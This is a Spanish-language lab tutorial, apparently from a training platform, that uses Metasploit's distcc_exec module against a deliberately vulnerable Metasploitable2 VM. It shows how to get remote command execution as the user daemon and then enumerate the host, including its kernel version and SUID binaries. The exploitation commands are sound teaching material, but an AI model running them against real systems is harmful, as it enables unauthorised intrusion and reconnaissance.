Introducción
En este laboratorio, utilizarás Metasploit para explotar el servicio distcc en un objetivo Linux vulnerable, confirmar el contexto de ejecución remota que obtienes y recopilar información básica del sistema desde dicho objetivo. El flujo de trabajo utiliza un comando remoto a la vez desde el prompt del módulo de Metasploit en lugar de una sesión de shell interactiva.
El módulo distcc en este objetivo es confiable para la ejecución remota de comandos a través de cmd/unix/generic, pero no abre una shell persistente en este entorno. El objetivo principal de aprendizaje es reconocer ese comportamiento, verificar qué cuenta remota ejecutó cada comando y continuar enumerando el objetivo con comandos de seguimiento deliberados.
Preparar el entorno
En este paso, iniciaremos los componentes necesarios del entorno de laboratorio, incluyendo el contenedor Kali Linux y la máquina virtual Metasploitable2.
- Inicia la máquina virtual Metasploitable2 ejecutando el siguiente comando en la terminal:
sudo virsh start Metasploitable2
Espera a que la máquina objetivo se inicie; puede tardar entre 1 y 3 minutos.
- Prueba si la máquina virtual se ha iniciado haciendo ping a la dirección IP del objetivo:
ping 192.168.122.102
Presiona Ctrl+C para detener el ping.
- Inicia el contenedor Kali Linux y accede a su shell bash:
docker run -ti --network host b5b709a49cd5 bash
- Dentro del contenedor Kali, prueba la conectividad de red haciendo ping al nombre de host
target:
ping 192.168.122.102
Presiona Ctrl+C para detener el ping.
Obtener acceso inicial a la máquina objetivo
En este paso, utilizaremos Metasploit Framework (MSF) en el contenedor Kali para obtener acceso inicial a la máquina objetivo Metasploitable2.
- Dentro del contenedor Kali, inicia la consola de Metasploit:
cd ~
msfconsole
- Dentro de la consola de Metasploit, utiliza el módulo de explotación
distcc_exec:
use exploit/unix/misc/distcc_exec
- Configura el payload para la ejecución genérica de comandos remotos. En este entorno, el módulo no abre una shell interactiva estable, por lo que debes ejecutar un comando remoto a la vez:
set payload cmd/unix/generic
- Configura la dirección IP del host objetivo:
set RHOST 192.168.122.102
- Configura el primer comando remoto que deseas ejecutar en el objetivo:
set CMD whoami
- Lanza el exploit para ejecutar ese comando en la máquina objetivo:
run
Después de una ejecución exitosa, deberías ver una salida similar a 192.168.122.102:3632 - stdout: daemon. Ese resultado significa que el comando se ejecutó en el host remoto Metasploitable2 como el usuario daemon.
Permanece en el prompt msf6 exploit(unix/misc/distcc_exec) > para los siguientes pasos. Para cada nuevo comando remoto, actualiza CMD y ejecuta el módulo nuevamente.
Verificar los privilegios del usuario actual
Después de obtener la ejecución remota de comandos, debemos verificar qué cuenta utilizó el objetivo para el comando y si ya tiene privilegios elevados.
Si saliste del prompt del módulo
distcc_exec, repite la configuración de Metasploit del Paso 2 para volver amsf6 exploit(unix/misc/distcc_exec) >.Configura el comando remoto para verificar el usuario actual:
set CMD whoami
- Ejecuta el módulo para ejecutar ese comando en el objetivo:
run
- Configura el siguiente comando remoto para mostrar el ID de usuario y la información del grupo:
set CMD id
- Ejecuta el módulo nuevamente:
run
Si la salida muestra stdout: daemon y uid=1(daemon) gid=1(daemon), el exploit está ejecutando comandos de forma remota como la cuenta daemon en lugar de como root. Necesitarías una técnica adicional de escalada de privilegios para ir más allá, pero para este laboratorio nos mantendremos enfocados en validar el acceso y recopilar datos de reconocimiento.
Permanece en el mismo prompt del módulo de Metasploit para el siguiente paso.
Enumerar información del sistema
Ahora que has confirmado tu nivel de acceso, recopila algunos detalles del sistema objetivo para que puedas identificar qué tipo de host has comprometido.
Si saliste del prompt del módulo
distcc_exec, repite la configuración de Metasploit del Paso 2 para volver amsf6 exploit(unix/misc/distcc_exec) >.Configura el comando remoto para verificar el banner de la distribución de Linux:
set CMD "cat /etc/issue"
- Ejecuta el módulo:
run
Aquí tienes un ejemplo de la salida que podrías ver desde el objetivo:
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \\
| '_ ` _ \\ / _ \\ __/ _` / __| '_ \\| |/ _ \\| | __/ _` | '_ \\| |/ _ \\ __) |
| | | | | | __/ || (_| \\__ \\ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\\___|\\__\\__,_|___/ .__/|_|\\___/|_|\\__\\__,_|_.__/|_|\\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started
- Configura el siguiente comando remoto para verificar la versión del kernel:
set CMD "uname -a"
- Ejecuta el módulo nuevamente:
run
Aquí tienes un ejemplo de la salida que podrías ver desde el objetivo:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
- Configura el comando remoto para encontrar archivos SUID que podrían ser potencialmente útiles para un análisis posterior a la explotación:
set CMD "find / -perm -u=s -type f 2>/dev/null"
- Ejecuta el módulo una vez más:
run
Revisa la lista para comprender qué binarios privilegiados están presentes en el objetivo. Las entradas exactas pueden variar, pero deberías ver rutas como /usr/bin/sudo y /usr/bin/nmap desde el host comprometido.
Después de terminar de inspeccionar la salida, puedes salir de Metasploit con exit.
Resumen
En este laboratorio, iniciaste el entorno LabEx, utilizaste Metasploit Framework para explotar el servicio vulnerable distcc y ejecutaste comandos remotos contra el objetivo Metasploitable2 a través de cmd/unix/generic. Luego, verificaste el contexto de ejecución remota con whoami e id para confirmar qué cuenta utilizó el exploit antes de ejecutar comandos de seguimiento.
También recopilaste información básica del sistema del host comprometido verificando su banner de distribución, la versión del kernel y los binarios SUID disponibles. Estas comprobaciones posteriores a la explotación son útiles para confirmar qué acceso obtuviste y para planificar una enumeración adicional en un objetivo Linux.



